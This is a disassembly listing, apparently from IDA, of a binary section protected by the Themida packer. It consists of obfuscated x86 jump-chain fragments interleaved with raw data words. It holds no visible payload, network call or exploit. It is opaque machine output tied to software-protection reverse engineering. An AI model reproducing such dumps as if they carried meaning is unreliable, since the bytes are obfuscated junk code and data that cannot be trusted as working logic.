; ---------------------------------------------------------------------------


loc_54F327:				; CODE XREF: Themida_:00548B68j
		shl	ebx, 8
		push	eax
		jmp	loc_54DA2D
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F662424h, 9C2404B3h, 0FF4E68E9h,	48F59FFh
		dd 24248B24h, 0E9240C89h, 0FFFF4E59h, 4BE56h, 73E90000h
		dd 0D2FFFF8Ah, 0E99C240Ch, 0FFFF4E45h, 24048B66h, 525868h
		dd 243C8900h, 243C8B54h, 0FF694CE9h, 95C181FFh,	0E916B1C1h
		dd 0FFFF715Ah, 37A7CFBFh, 5FFA8901h, 15AD101h, 7853E9C8h
		dd 0BD55FFFFh, 4, 0E95DEF01h, 0FFFF5346h, 5EF2015Bh, 2BD55h
		dd 0EA010000h, 2414875Dh, 0D224248Bh, 0E99C2424h, 0FFFF4DE9h
		dd 1CBBh, 0E9D88900h, 0FFFFDE63h, 0D5F63CB5h, 28B9F580h
		dd 6CE959E8h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54F3DB:				; CODE XREF: Themida_:00545117j
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		push	ebx
		mov	ebx, 126E0278h
		jmp	loc_54A8F3
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240481h,	8B000000h, 0C483242Ch, 4C58104h
		dd 50000000h, 4B8h, 91C58100h, 133A643h, 0A1FE9C5h, 0C4830000h
		dd 0CFF5304h, 0F3815B24h, 251F2B91h, 0D9456205h, 0E9535279h
		dd 0FFFFE56Dh
; ---------------------------------------------------------------------------


loc_54F430:				; CODE XREF: Themida_:00549443j
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_547574
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 4D4FE940h, 0C681FFFFh, 0C17E92E6h, 6EE9F089h, 0F7FFFFA9h
		dd 9533E9DEh, 0C483FFFFh, 6205E904h, 9E2DFFFFh,	0FF121F7Ah
		dd 835E2434h, 535104C4h, 0FF8824E9h, 4B8FFh, 0C3010000h
		dd 0D6E95058h, 5BFFFFEFh, 0C227E950h, 0C780FFFFh, 6866FDh
		dd 0EB83E900h, 0D6F6FFFFh, 6804EEC0h, 6B69h, 51241C89h
		dd 99E968B5h, 5CFFFF8Dh, 9C240CD3h, 0FF4CE0E9h,	0E68956FFh
		dd 4C681h, 0C6830000h, 24348704h, 0FCEE95Ch, 0C8840000h
		dd 4CC3E99Ch, 0E951FFFFh, 0FFFFB935h, 68241C89h, 3C77h
		dd 0E9243489h, 0FFFFCC46h, 75E94566h, 5BFFFFC0h, 4C481h
		dd 885A0000h, 0DFE95822h, 5DFFFF81h, 2C9EE381h,	814B7411h
		dd 0C97EBh, 5BD98964h, 0C8BCF01h, 4C48124h, 0E9000000h
		dd 0FFFFEE80h, 66D03059h, 0E9C7205Ah, 0FFFFEBC9h, 0FFE6F181h
		dd 0CA016964h, 0FFFDBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F54D:				; CODE XREF: Themida_:00547901j
		or	esi, 3D3969D0h
		sub	esi, 56A91C6Ah
		jmp	loc_54FB7D
; ---------------------------------------------------------------------------
		dw 0C68h
		dd 89000001h, 0E9512414h, 0FFFFF906h
; ---------------------------------------------------------------------------


loc_54F56C:				; CODE XREF: Themida_:0054BD95j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54A645
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0C15C2404h, 0C8310AE8h, 0EE59E950h, 0EE9FFFFh, 2DFFFF4Ch
		dd 434D2C47h, 526AC32Dh, 32685F60h, 89000067h, 6AB9240Ch
		dd 8106F543h, 0D251FE9h, 0B587E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5BE:				; CODE XREF: Themida_:00547546j
		shr	edx, 1
		jmp	loc_5468E1
; ---------------------------------------------------------------------------


loc_54F5C5:				; CODE XREF: Themida_:0054C693j
		mov	esi, edi
		pop	edi
		xor	esi, 1B9A4A89h
		sub	ebx, esi
		pop	esi
		push	dword ptr [eax]
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_54F5D8:				; CODE XREF: Themida_:0054BC16j
		push	735Dh
		mov	[esp], ebx
		push	edx
		mov	edx, 5DDC6687h
		jmp	loc_5482FC
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0FF9910E9h, 242C31FFh, 5C242C33h, 0FFB763E9h, 24048BFFh
		dd 0FF97B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F605:				; CODE XREF: Themida_:0054DD14j
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54C310
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 0E9243433h, 0FFFF9B88h
; ---------------------------------------------------------------------------


loc_54F61C:				; CODE XREF: Themida_:0054CE1Bj
		mov	esi, 3FB729D9h
		xor	esi, 3FB729DDh
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_54542A
; ---------------------------------------------------------------------------
		dd 658BE9ACh, 74FFFFFFh, 66E90424h, 83FFFF9Ah, 3C8704C7h
		dd 0C4835C24h, 0A00BE904h, 3C8AFFFFh, 2C48324h,	0E907C780h
		dd 0FFFF8A69h, 348BF701h, 4C48324h, 5C243C87h, 0FF2434FFh
		dd 0B6E92434h, 56FFFF96h, 535F0BBEh, 81E6D150h,	298FEFEEh
		dd 5EF10189h, 0FFD0C1E9h, 58C501FFh, 0FF9D47E9h, 430DBFFFh
		dd 0EC810111h, 4, 52240489h, 136601BAh,	5AD0892Ch, 34FFC731h
		dd 74E95824h, 66FFFFB0h, 2244401h, 24448166h, 667F5102h
		dd 84E95657h, 0FEFFFF4Eh, 51DBF6CBh, 0FFEFDFE9h, 240C33FFh
		dd 33240C31h, 0F65C240Ch, 0B6F8E9F9h, 0C780FFFFh, 5BFA88EEh
		dd 0E9E4B050h, 0FFFF7EE1h, 6624248Bh, 6866F9F7h, 50E92CDCh
		dd 50FFFFECh, 0DE68E089h, 0E9000015h, 0FFFFCD0Ah, 4B9h
		dd 0C832E900h, 0E95AFFFFh, 0FFFF92F7h, 29BD555Ah, 1654E5Fh
		dd 3C8B5DEAh, 4C48324h,	5AD18959h, 0E959C821h, 0FFFFF308h
		dd 4C781h, 0C7830000h, 243C8704h, 0FF4E6BE9h, 565752FFh
		dd 4EC81h, 0C890000h, 77A46824h, 0E95912C6h, 0FFFFB6A8h
		dd 5101C283h, 0FE4782B9h, 59CA296Dh, 15AD189h, 535259CFh
		dd 0E75F00BBh, 4CC3814Dh, 812E370Eh, 0AE70B2F3h, 9FE9501Bh
		dd 0E9FFFF9Eh, 0FFFF4A11h, 39E0B951h, 0E97E9Ah,	89FFFFF5h
		dd 0F3B9240Ch, 0F724BB37h, 81D9F7D9h, 0BB37F2F1h, 4BBE5624h
		dd 11F3E52h, 5E082474h,	207E6853h, 0E95B55E9h, 0FFFF4BF9h
		dd 515EF101h, 42474FFh,	0DE2CE959h, 0F201FFFFh,	64D4EA81h
		dd 0C281538Ch, 0C102F20h, 66B685Eh, 1C890000h, 2BB24h
		dd 0DA290000h, 0FFA9D7E9h, 1B36BEFFh, 0E6C11FCBh, 5113E908h
		dd 77FFFFFFh, 59669D1Ch, 9C2414D3h, 0FF4990E9h,	89F389FFh
		dd 0E95E5BD9h, 0FFFF5C79h, 470E9ACh, 0DEF70000h, 0FFD469E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F831:				; CODE XREF: Themida_:00549563j
		sub	[esp+8], ecx
		pop	ecx
		sub	dword ptr [esp+4], 6DBF11BEh
		sub	[esp+4], ecx
		jmp	loc_54FCE6
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFBAFEE9h, 0F3B951FFh, 8171D327h, 27057AE9h, 0E9814125h
		dd 0FFFFFFFFh, 0E908E1C1h, 0FFFF815Bh, 33241C31h, 0DDE9241Ch
		dd 30000002h, 0C8B66C8h, 2C48324h, 80D8C380h, 0EB8017EBh
		dd 80C300EEh, 0B551EEC3h, 0CEED80E5h, 66C7EB80h, 64B050h
		dd 0A034E9C3h, 0EA81FFFFh, 237A166Ch, 0F6E9DA01h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8AB:				; CODE XREF: Themida_:loc_546648j
					; Themida_:0054A3F9j ...
		push	ecx
		mov	ecx, ebx
		jmp	loc_546A1B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 4C681h, 0BF570000h, 4, 0FF99E3E9h, 60D968FFh
		dd 0C890000h, 49C0B924h, 0E9D13D57h, 0BD55h, 0CD290000h
		dd 2C8BE989h, 4C48324h,	0E905E1C1h, 0FFFF8F9Bh,	0E902C683h
		dd 0FFFF9059h, 5EF2095Bh, 0FFF644E9h, 0BF6851FFh, 59158545h
		dd 475DE181h, 0E9815D93h, 0AF51163Ah, 8159CD89h, 4652CFC5h
		dd 0E6BF5724h, 81309655h, 0D5E73AEFh, 5FFD09DCh, 4C58ED81h
		dd 1BE96A85h, 0B8FFFF96h, 2E1E20DFh, 0FFA736E9h, 485FE9FFh
		dd 0E189FFFFh, 4C181h, 0C1830000h, 240C8704h, 0C938E95Ch
		dd 0E95CFFFFh, 0FFFF67D0h, 5BD90159h, 0FF9487E9h, 21C368FFh
		dd 14890000h, 0E91FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F97A:				; CODE XREF: Themida_:0054AB05j
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_54F987:				; CODE XREF: Themida_:0054B360j
		add	dword ptr [esp+4], 653A3560h
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 653A3560h
		pop	edx
		pop	edx
		add	edx, 7A8E5FB9h
		mov	ebp, [esp]
		add	esp, 4
		not	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5503A1
; ---------------------------------------------------------------------------
		db 55h
		dd 0FBCFB6BDh, 9B27E9F7h, 5658FFFFh, 0C681E689h, 4, 749EBD55h
		dd 0ED814BA9h, 0EB6F262Fh, 0E9FFC583h, 0FFFF4C74h, 42474FFh
		dd 0E9242C8Bh, 0FFFF7C7Fh, 0FFFFEA81h, 0FBE9FFFFh, 66FFFF6Dh
		dd 8324048Bh, 9E904ECh,	0C1FFFF7Bh, 0F38107EBh,	7EAA31Eh
		dd 0FFD377E9h, 0FF0A8BFFh, 835A2434h, 835604C4h, 3C8904ECh
		dd 0E057E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA32:				; CODE XREF: Themida_:0054C4CAj
		xchg	eax, esi
		push	ecx
		push	esi
		jmp	loc_549594
; ---------------------------------------------------------------------------
		dw 0DCBAh
		dd 0E906404Dh, 0FFFF7372h
; ---------------------------------------------------------------------------


loc_54FA44:				; CODE XREF: Themida_:005473D8j
		mov	ecx, [esp]
		jmp	loc_544313
; ---------------------------------------------------------------------------
		dd 0C0E9CD01h, 8BFFFFDFh, 0C481242Ch, 4, 0FF657AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA61:				; CODE XREF: Themida_:0054815Dj
		dec	eax
		dec	eax
		shl	eax, 7
		not	eax
		xor	eax, 6F5129EFh
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		xor	edi, 49D3CCB6h
		mov	edx, edi
		jmp	loc_546EE1
; ---------------------------------------------------------------------------
		dd 8324348Bh, 555204C4h, 0FF7219E9h, 243489FFh,	9742B0BEh
		dd 5EF02904h, 0B60F66h,	8904EC83h, 0E389241Ch, 3B5B68h
		dd 24048900h, 0FFF9D0E9h, 28E22CFFh, 0C4D0E9F8h, 0E993FFFFh
		dd 70h,	5C240487h, 0BE243489h, 0AA674CAh, 40F6C681h, 0E6C1333Fh
		dd 678E906h, 68530000h,	1Ch, 5B2434FFh,	8104C483h, 0C24B2EBh
		dd 64BFE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FAFA:				; CODE XREF: Themida_:0054D65Ej
		xor	cl, 0C9h
		xor	dl, cl
		pop	ecx
		shr	dl, 3
		inc	dl
		add	dl, 16h
		add	al, 5Ch
		add	al, dl
		sub	al, 5Ch
		pop	edx
		sub	al, 0FCh
		add	al, bl
		push	dx
		mov	dh, 0FCh
		jmp	loc_54652F
; ---------------------------------------------------------------------------
		dd 6A23BF57h, 7C29579Ch, 8B5F0824h, 0C4812434h,	4, 0E9240C8Bh
		dd 0FFFFA456h, 31F93197h, 51F931CFh, 42474FFh, 0FF848CE9h
		dd 0E9E689FFh, 0FFFF8620h, 243C895Ch, 0FF4F4AE9h, 6AAA68FFh
		dd 0C890000h, 4B924h, 0CE010000h, 24348759h, 0C8B70F5Ch
		dd 4E9668h, 240C8900h, 0FF462CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FB7D:				; CODE XREF: Themida_:0054F559j
		add	esi, 34ED0108h
		mov	ebx, esi
		pop	esi
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_54A0BC
; ---------------------------------------------------------------------------
		dd 2474FF50h, 48F5804h,	2CD25C24h, 6E99C24h, 48FFFF46h
		dd 0B80C062Dh, 25BE563Ch, 31C62B8Dh, 0EC835EF0h, 242C8904h
		dd 0FD0812BDh, 0F0E58109h, 0C10B630Bh, 0E95505E5h, 0FFFF995Dh
		dd 5204C483h, 0B8505A54h, 4, 0FF62E5E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_54CD51
; ---------------------------------------------------------------------------
		dd 4C681h, 34330000h, 869FE924h, 0ADB8FFFFh, 0E9276F6Eh
		dd 0FFFF885Dh
; ---------------------------------------------------------------------------


loc_54FC10:				; CODE XREF: Themida_:0054883Fj
		push	ebx
		mov	ebx, 0
		jmp	loc_549D06
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF6759E9h, 5D001FFh, 5D02E89h, 0BE45E95Ah, 487FFFFh
		dd 0BF575C24h, 62703B52h, 0EF81EFD1h, 31381DA7h, 144E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FC45:				; CODE XREF: Themida_:0054CD05j
		add	ebp, 4
		jmp	loc_546E86
; ---------------------------------------------------------------------------
		dd 0A1F5815Dh, 0E944506Fh, 0FFFFD5DDh, 0F7240C89h, 5659241Ch
		dd 230727BEh, 0D0F79647h, 128E996h, 0F3810000h,	1F8E559Bh
		dd 0FFE5CDE9h, 0B85056FFh, 30C4AD8h, 96284A05h,	75B2356Ch
		dd 575018C3h, 0A733E0BFh, 6481E960h, 6866FFFFh,	85E94CA8h
		dd 81FFFFBCh, 9C46C4C5h, 95EA810Eh, 151CD66h, 95C281EAh
		dd 0E951CD66h, 0FFFFE8E2h, 3577C381h, 0EB811DE4h, 2151385Dh
		dd 5D91B951h, 0C1817865h, 0A350AB2h, 0FFF48BE9h, 4AB7BEFFh
		dd 0F7296C77h, 9226E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FCE6:				; CODE XREF: Themida_:0054F842j
		add	dword ptr [esp+4], 6DBF11BEh
		add	dword ptr [esp+4], 196E07AAh
		add	dword ptr [esp+4], 337F2691h
		jmp	loc_5502F9
; ---------------------------------------------------------------------------


loc_54FD03:				; CODE XREF: Themida_:0054CD0Dj
		push	3181h
		mov	[esp], edi
		mov	edi, 2
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_546345
; ---------------------------------------------------------------------------
		dw 0F831h
		dd 8BC2015Fh, 0C4812404h, 4, 2C281h, 14330000h,	24143124h
		dd 8B241433h, 9662424h,	0E99C2404h, 0FFFF4F90h,	2C8BE801h
		dd 7330E924h, 8F58FFFFh, 248B2404h, 243C8924h, 89565F53h
		dd 4802E9FEh, 0D6F7FFFFh, 7220CE81h, 0F6816C11h, 2F735ACEh
		dd 915EF189h, 6851D0F7h, 7CC8h,	59240489h, 0FF7198E9h
		dd 5FF901FFh, 4EC81h, 0C890000h, 0CB58E924h, 0EE81FFFFh
		dd 4CBF19AAh, 389668h, 24148900h, 48BECABAh, 0E9D6011Ah
		dd 0FFFFD5EBh, 8124048Bh, 4ECh,	240C8900h, 0FFBD74E9h
		dd 0D4E95FFFh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDCB:				; CODE XREF: Themida_:0054BCEAj
		pop	edx
		jmp	loc_54D408
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 53h
		dd 0B770FCBBh, 5EBC151h, 0FF84ABE9h, 4C181FFh, 68000000h
		dd 77F5h, 0BE243489h, 13DF04B9h, 5266BB53h, 0DE317C42h
		dd 0DBF6815Bh, 16F9D56h, 97E95EF1h, 58FFFFCEh, 0FD57D205h
		dd 2434FF36h, 0FFD2E0E9h, 242C89FFh, 4EC81h, 3C890000h
		dd 1596BF24h, 4FE92EE2h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FE2F:				; CODE XREF: Themida_:00548607j
		pop	edi
		jmp	loc_54D98D
; ---------------------------------------------------------------------------
		db 57h,	55h, 0BDh
		dd 59716501h, 5AE9EF89h, 52FFFF6Fh, 7649BF57h, 0DFF7000Bh
		dd 590AC781h, 0DFF75372h, 0EF81D7F7h, 2EEC2767h, 3CE2EF81h
		dd 0FA89BC60h, 0FF481DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FE69:				; CODE XREF: Themida_:0054EF6Fj
		or	eax, eax
		jmp	loc_546648
; ---------------------------------------------------------------------------
		dd 0E9E1F65Ch, 0FFFFC695h, 56D831ADh, 71E95055h, 5DFFFFC1h
		dd 0FFF9C4E9h, 83C9FEFFh, 896602ECh, 6CB02404h,	2880C180h
		dd 80E980C1h, 0FF98C0E9h, 0FE895DFFh, 8BF1215Fh, 0C4832434h
		dd 0BE9C104h, 0E904EC83h, 0FFFF4CC5h
; ---------------------------------------------------------------------------


loc_54FEB8:				; CODE XREF: Themida_:0054DA54j
		add	cl, 84h
		sub	cl, 0A6h
		mov	al, cl
		pop	ecx
		push	dx
		jmp	loc_548463
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FF6D82E9h, 5BD901FFh, 4B68h, 243C8900h
		dd 443116BFh, 0DBE98126h, 294D3A7Ch, 5AE952F9h,	1FFFF46h
		dd 24348BF0h, 4C481h, 0C8010000h, 0D021F92Dh, 487594Dh
		dd 24248B24h, 0FFF44EE9h, 24048BFFh, 4C481h, 0EC810000h
		dd 4, 0E9243C89h, 0FFFF563Bh, 0C581E589h, 4, 0CE6B850h
		dd 0BA522EA3h, 6E055963h, 0FF4C53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF3D:				; CODE XREF: Themida_:0054A2DEj
		mov	cl, 97h
		xor	dl, cl
		pop	cx
		sub	esp, 4
		jmp	loc_544F3E
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 24348700h, 241C895Ch, 0FFFFFFBBh, 575205FFh, 0D8293E1Fh
		dd 1F57522Dh, 81E95B3Eh, 66FFFFAAh, 2D66D801h, 3AE96377h
		dd 89FFFF6Ch, 4C681E6h,	51000000h, 4B7429B9h, 0BAE9811Ch
		dd 0E932FD35h, 0FFFFF3E5h, 483DC581h, 0EE898045h, 0E9D6F75Dh
		dd 0FFFFDDD3h, 7DFDCD81h, 28E93224h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FFAF:				; CODE XREF: Themida_:00548BD3j
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
a_hsu		db '_hsu',0
		align 2
		dw 489h
		dd 0C082E924h, 0BE56FFFFh, 4, 0FF89E5E9h, 0C2815CFFh, 4
		dd 0FF42C2E9h, 0BB5356FFh, 4, 295BDE89h, 65E95EF3h, 80FFFFB7h
		dd 0C20041C2h, 0E941EA80h, 0FFFF6099h, 0E9C027BEh, 5EF7296Ch
		dd 2D5FF801h, 4, 8904EC83h, 74FF2404h, 48B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 48F5424h, 3EE95024h, 8FFFFF72h
		dd 0D25C2404h, 0E99C2424h, 0FFFF4171h, 595AF488h, 0FF5608E9h
		dd 56E289FFh, 0B65BB8BEh, 873AE916h, 0ED81FFFFh, 0F069A25Eh
		dd 25E9E929h, 5A000001h, 4BB53h, 0DD010000h, 83241C8Bh
		dd 0FF5504C4h, 0E9042474h, 0FFFFB562h, 5C243C87h, 0E9243C89h
		dd 0FFFF6ECCh, 33241C31h, 15C241Ch, 2C8758C5h, 29685C24h
		dd 0E9000067h, 0FFFFA2FDh, 5C243487h, 4203322Dh, 4EC8376h
		dd 0FF88CEE9h, 55D829FFh, 5B4579BDh, 22CD810Bh,	81121D46h
		dd 0EDB22EDh, 0BA5AE9D9h, 48BFFFFh, 4C48324h, 0FFFF5EE9h
		dd 83F380FFh, 835BD830h, 148904ECh, 3082B624h, 24148BF0h
		dd 81E68956h, 4C6h, 0C6685200h,	89000052h, 0B1B9240Ch
		dd 81173256h, 3256ADE9h, 0C8895017h, 56E9C289h,	81FFFF56h
		dd 4C4h, 0F6CDFE00h, 6FED80D5h,	0B8E9E800h, 81FFFFEFh
		dd 1AC4DBC6h, 0E9F089AFh, 0FFFFA31Ch, 2FB65266h, 0FF496BE9h
		dd 243C31FFh, 5C243C33h, 2C181h, 0E9510000h, 0FFFF5FA2h
		dd 81243C8Bh, 4C4h, 63F7E900h, 2489FFFFh, 9270E924h, 0CE81FFFFh
		dd 34A9146Fh, 64F2EE81h, 0F6812BE9h, 27193897h,	557FBF57h
		dd 0FE314689h, 5EF0015Fh, 0E924148Bh, 0FFFF59BBh, 59C8215Dh
		dd 840FC009h, 0FFFFD987h, 831C77FFh, 0ABE904ECh, 89FFFF9Dh
		dd 82B62414h, 5107EEC0h, 0E2E9BAB1h, 5EFFFFFCh,	5C24048Fh
		dd 0FF3FF8E9h, 89505CFFh, 405E0h, 5CE90000h, 57FFFFBAh
		dd 42474FFh, 57243C8Bh,	43E8E954h, 0C181FFFFh, 4, 0A6F0E955h
		dd 1C89FFFFh, 4EC8324h,	8B240489h, 8953241Ch, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 240C895Ch, 0C181E189h, 4
		dd 0FF46E7E9h, 0E9D3F7FFh, 0FFFFB1AEh, 384B91B8h, 6DEA354Ch
		dd 25E918A5h, 0E9FFFF7Bh, 0FFFF3F85h, 6E44F381h, 0F3814195h
		dd 4C1F1098h, 0FFB22DE9h, 24248BFFh, 46851h, 0A3E90000h
		dd 5AFFFF80h, 4AE9DE29h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55024B:				; CODE XREF: Themida_:0054836Aj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	13ABh
		mov	[esp], ecx
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5471BE
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 0AF17E900h, 0F189FFFFh, 6BE565Eh, 8115A66Ch, 0FFFFFFEEh
		dd 4E6C1FFh, 81D6F746h,	0FF61B7E6h, 0D4F68127h,	213FD67Ch
		dd 24348BF1h, 4C481h, 0E9830000h, 1BB068FFh, 2C890000h
		dd 6C47BD24h, 7AE90ECFh, 81FFFF80h, 9C6243EDh, 51505F09h
		dd 1F57BAB9h, 748CE974h, 2D68FFFFh, 0E9000009h,	0FFFFB0D1h
		dd 747C6866h, 241C8B66h, 81E68956h, 4C6h, 2C68100h, 87000000h
		dd 525C2434h, 3CCFBA66h, 0FF5BAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5502F9:				; CODE XREF: Themida_:0054FCFEj
		pop	ecx
		pop	eax
		add	eax, 5DBE7BC5h
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, 35173E43h
		xor	[esp+4], eax
		jmp	loc_54DD34
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0BE46E9E3h, 4ABBFFFFh, 0E9208162h, 0FFFF7BA1h, 16242C81h
		dd 5F7E420Eh, 0E16C781h, 81587E42h, 0D904246Ch,	297DAA05h
		dd 8104247Ch, 0D9042444h, 5F7DAA05h, 0FF3E5CE9h, 5D8F7FFh
		dd 8D97AA9h, 9F490E2Dh,	58C689EAh, 1D70F681h, 0EE817251h
		dd 7E6C4FB4h, 15EF001h,	2C3358C5h, 242C3124h, 8B242C33h
		dd 0F662424h, 7F68C8B6h, 8900003Eh, 0E2892414h,	33BB68h
		dd 47B6E900h, 0BB53FFFFh, 24h, 2B89FB01h, 0FF8816E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5503A1:				; CODE XREF: Themida_:0054F9BEj
		pop	esp
		mov	[esp], edi
		mov	edi, 0B567FC5Fh
		xor	edx, edi
		pop	edi
		jmp	loc_54F8AB
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 19B43BE0h, 0BE5FFD89h, 0DD1CA761h, 3142EE81h, 13E95AAEh
		dd 66FFFFB1h, 0E924048Bh, 0FFFFC2DFh, 18D6CA81h, 0EA8170BCh
		dd 7B47787Bh, 0FF51B6E9h, 53E789FFh, 0FFBBEFE9h, 0B9F180FFh
		dd 0FFD6D4E9h, 0E9E089FFh, 0FFFF9F46h, 83242C8Bh, 0ECE904C4h
		dd 5DFFFFA8h, 4C481h, 97E90000h, 81FFFFC4h, 5986EDh, 0E735E963h
		dd 2805FFFFh, 297EC240h, 40282DC8h, 37057EC2h, 0FF1B0621h
		dd 0E9592434h, 0FFFFB6C0h, 34D5C381h, 54E93855h, 80FFFF56h
		dd 0F380E0EBh, 5BD828ACh, 5966F104h, 0FFEDCAE9h, 0CC281FFh
		dd 587B4A63h, 0E904EA83h, 0FFFFEC28h, 0E9E18951h, 0FFFF4DBCh
		dd 0A1E98149h, 0E9140E3Ah, 0FFFFF0C8h, 76E9D029h, 58FFFF66h
		dd 7068C328h, 0E9000018h, 0FFFFFD0Bh, 81E18951h, 4C1h
		dd 4EE95700h, 50FFFF59h, 0FF6A86E9h, 68BD55FFh,	0E963996Dh
		dd 0FFFF8365h, 2C281h, 14330000h, 24143124h, 8B241433h
		dd 3CD22424h, 0E2E99C24h, 31FFFF3Ch, 4005A2Dh, 0AC7FFE03h
		dd 2FA36C1h, 0DD63DFA0h, 71009F69h, 0B800004Ah,	1300006Ch
		dd 2000002h, 1000000h, 4000000h, 0AC000000h, 0FA36C1h
		dd 4 dup(0)
		dd 0D6000000h, 0FB00551Ah, 26005567h, 0A00055CCh, 190055B1h
		dd 8D005639h, 1500554Bh, 8500556Fh, 9B005596h, 55005580h
		dd 39005555h, 1900561Ch, 340055D3h, 310055BDh, 8005608h
		dd 3B005520h, 6005532h,	0F600551Bh, 0C4005649h,	280055BEh
		dd 880055BCh, 14005589h, 2C00562Fh, 670055EBh, 0CE005586h
		dd 0DE005522h, 0CA005598h, 9B005599h, 6B005528h, 3300557Fh
		dd 8A005614h, 0FD0055D6h, 60005555h, 0A70055B0h, 84005545h
		dd 1600555Dh, 0F20055F6h, 5F005528h, 0A40055BFh, 0C800560Eh
		dd 300055D7h, 7000555Ch, 55005603h, 0F90055B6h,	0A3005581h
		dd 300055EDh, 22005577h, 6F005558h, 0CD00552Fh,	36005615h
		dd 3A005604h, 0F300560Fh, 6005583h, 0FF005548h,	0C900560Bh
		dd 540055C2h, 0E7005626h, 7D0055A8h, 0C7005653h, 29005580h
		dd 0A4005596h, 280055EAh, 1C0055F3h, 270055F9h,	950055D2h
		dd 561Ch, 0C005575h, 4F0055BCh,	3C0055DEh, 750055E4h, 0F800563Eh
		dd 4C00556Dh, 0A80055CDh, 68005564h, 4005640h, 0FB0055B5h
		dd 0F600562Fh, 2B0055F8h, 820055E1h, 6500561Bh,	19005532h
		dd 2A0055C9h, 0EE0055AEh, 4E0055A5h, 280055BAh,	4C005555h
		dd 0CE0055A4h, 0D10055ACh, 850055B9h, 1200561Ah, 3000557Ah
		dd 8100561Ch, 0D40055E1h, 0A400561Ah, 0BB00556Bh, 0D500561Eh
		dd 390055ADh, 450055F9h, 0AB00556Ch, 69005588h,	0F800561Ah
		dd 0D900564Fh, 1A0055B1h, 5B00560Eh, 0B8005517h, 0A500557Ah
		dd 650055BFh, 0A40055EAh, 54005571h, 20055C5h, 0B0005562h
		dd 0F60055CDh, 0E900557Fh, 0E90055EFh, 0AA0055D7h, 562Bh
		dd 8800560Dh, 0F2005574h, 0FA0055ACh, 0EE00557Bh, 6D005510h
		dd 0BD005642h, 750055BCh, 520055C1h, 42005634h,	0E4005604h
		dd 1005611h, 0B10055C0h, 0A0055F3h, 0FE00551Fh,	0BD00557Eh
		dd 0C500550Ah, 3E0055D2h, 600562Dh, 0CD005595h,	5F00558Bh
		dd 74005613h, 0E9005653h, 0F0005508h, 0FC00555Ch, 0A20055C7h
		dd 0C900558Eh, 2700557Bh, 0FA0055FFh, 610055F1h, 69005514h
		dd 610055CCh, 0B800558Fh, 1400552Eh, 3400560Ch,	5F00554Dh
		dd 71005564h, 200055B2h, 5B0055BEh, 65005602h, 0E0005643h
		dd 0B3005607h, 9800557Bh, 3400560Ah, 5700555Bh,	3400561Eh
		dd 0E3005561h, 5800555Ch, 2B0055CCh, 7500560Eh,	5000555Dh
